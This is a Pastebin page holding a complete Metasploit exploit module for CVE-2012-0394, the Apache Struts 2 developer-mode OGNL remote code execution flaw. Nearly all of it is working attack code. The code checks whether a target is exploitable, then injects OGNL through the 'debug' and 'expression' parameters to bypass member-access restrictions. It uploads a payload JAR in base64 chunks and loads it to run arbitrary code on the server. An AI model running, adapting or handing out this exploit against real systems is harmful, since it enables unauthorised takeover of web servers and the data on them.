Advertisement
AndrewHaxalot

Apache Struts Developer Mode OGNL Execution Exploit

Feb 4th, 2014
159
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.06 KB | None | 0 0
  1. ##
  2. # This module requires Metasploit: http//metasploit.com/download
  3. # Current source: https://github.com/rapid7/metasploit-framework
  4. ##
  5.  
  6. require 'msf/core'
  7.  
  8. class Metasploit3 < Msf::Exploit::Remote
  9. Rank = ExcellentRanking
  10.  
  11. include Msf::Exploit::Remote::HttpClient
  12. include Msf::Exploit::FileDropper
  13.  
  14. def initialize(info = {})
  15. super(update_info(info,
  16. 'Name' => 'Apache Struts Developer Mode OGNL Execution',
  17. 'Description' => %q{
  18. This module exploits a remote command execution vulnerability in Apache
  19. Struts 2. The problem exists on applications running in developer mode,
  20. where the DebuggingInterceptor allows evaluation and execution of OGNL
  21. expressions, which allows remote attackers to execute arbitrary Java
  22. code. This module has been tested successfully in Struts 2.3.16, Tomcat
  23. 7 and Ubuntu 10.04.
  24. },
  25. 'Author' =>
  26. [
  27. 'Johannes Dahse', # Vulnerability discovery and PoC
  28. 'Andreas Nusser', # Vulnerability discovery and PoC
  29. 'Alvaro', # @pwntester, 2014's PoC, avoided surname because of the spanish char, sorry about that :\
  30. 'juan vazquez' # Metasploit module
  31. ],
  32. 'License' => MSF_LICENSE,
  33. 'References' =>
  34. [
  35. [ 'CVE', '2012-0394'],
  36. [ 'OSVDB', '78276'],
  37. [ 'EDB', '18329'],
  38. [ 'URL', 'https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20120104-0_Apache_Struts2_Multiple_Critical_Vulnerabilities.txt' ],
  39. [ 'URL', 'http://www.pwntester.com/blog/2014/01/21/struts-2-devmode/' ]
  40. ],
  41. 'Platform' => 'java',
  42. 'Arch' => ARCH_JAVA,
  43. 'Targets' =>
  44. [
  45. [ 'Struts 2', { } ]
  46. ],
  47. 'DisclosureDate' => 'Jan 06 2012',
  48. 'DefaultTarget' => 0))
  49.  
  50. register_options(
  51. [
  52. Opt::RPORT(8080),
  53. OptString.new('TARGETURI', [ true, 'The path to a struts application action', "/struts2-blank/example/HelloWorld.action"])
  54. ], self.class)
  55. end
  56.  
  57. def check
  58. vprint_status("Testing to see if the target can evaluate our Java code...")
  59. addend_one = rand_text_numeric(rand(3) + 1).to_i
  60. addend_two = rand_text_numeric(rand(3) + 1).to_i
  61. sum = addend_one + addend_two
  62.  
  63. res = execute_command("new java.lang.Integer(#{addend_one}+#{addend_two})")
  64.  
  65. if res and res.code == 200 and res.body.to_i == sum
  66. return Exploit::CheckCode::Vulnerable
  67. end
  68.  
  69. if res and res.code == 200 and res.body.to_s =~ /#{sum}/
  70. vprint_status("Code got evaluated. Target seems vulnerable, but the response contains something else:")
  71. vprint_line(res.body.to_s)
  72. return Exploit::CheckCode::Appears
  73. end
  74.  
  75. return CheckCode::Safe
  76. end
  77.  
  78. def exploit
  79. @payload_jar = rand_text_alphanumeric(4+rand(4)) + ".jar"
  80.  
  81. upload_jar
  82. execute_jar
  83. end
  84.  
  85. def upload_jar
  86. append = 'false'
  87. jar = payload.encoded_jar.pack
  88. chunk_length = 384 # 512 bytes when base64 encoded
  89.  
  90. while(jar.length > chunk_length)
  91. java_upload_part(jar[0, chunk_length], @payload_jar, append)
  92. jar = jar[chunk_length, jar.length - chunk_length]
  93. append='true'
  94. end
  95. java_upload_part(jar, @payload_jar, append)
  96. end
  97.  
  98. def java_upload_part(part, filename, append = 'false')
  99. cmd = "#f=new java.io.FileOutputStream('#{filename}',#{append}),"
  100. cmd << "#f.write(new sun.misc.BASE64Decoder().decodeBuffer('#{Rex::Text.encode_base64(part)}')),"
  101. cmd << "#f.close()"
  102. execute_command(cmd)
  103. end
  104.  
  105. def execute_jar
  106. cmd = ""
  107. # disable Vararg handling (since it is buggy in OGNL used by Struts 2.1
  108. cmd << "#q=@java.lang.Class@forName('ognl.OgnlRuntime').getDeclaredField('_jdkChecked'),"
  109. cmd << "#q.setAccessible(true),#q.set(null,true),"
  110. cmd << "#q=@java.lang.Class@forName('ognl.OgnlRuntime').getDeclaredField('_jdk15'),"
  111. cmd << "#q.setAccessible(true),#q.set(null,false),"
  112. # create classloader
  113. cmd << "#cl=new java.net.URLClassLoader(new java.net.URL[]{new java.io.File('#{@payload_jar}').toURI().toURL()}),"
  114. # load class
  115. cmd << "#c=#cl.loadClass('metasploit.Payload'),"
  116. # invoke main method
  117. cmd << "#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')}).invoke("
  118. cmd << "null,new java.lang.Object[]{new java.lang.String[0]})"
  119. execute_command(cmd)
  120. end
  121.  
  122. def execute_command(cmd)
  123. injection = "#f=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#f.setAccessible(true),#f.set(#_memberAccess,true),CMD"
  124. injection.gsub!(/CMD/, cmd)
  125.  
  126. vprint_status("Attempting to execute: #{cmd}")
  127.  
  128. res = send_request_cgi({
  129. 'uri' => normalize_uri(target_uri.path.to_s),
  130. 'method' => 'GET',
  131. 'vars_get' =>
  132. {
  133. 'debug' => 'command',
  134. 'expression' => injection
  135. }
  136. })
  137.  
  138. return res
  139. end
  140.  
  141.  
  142. end
  143.  
  144. # AB22AB6FDB8B5897 1337day.com [2014-02-05] 721B7A1B7A35C0E8 #
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement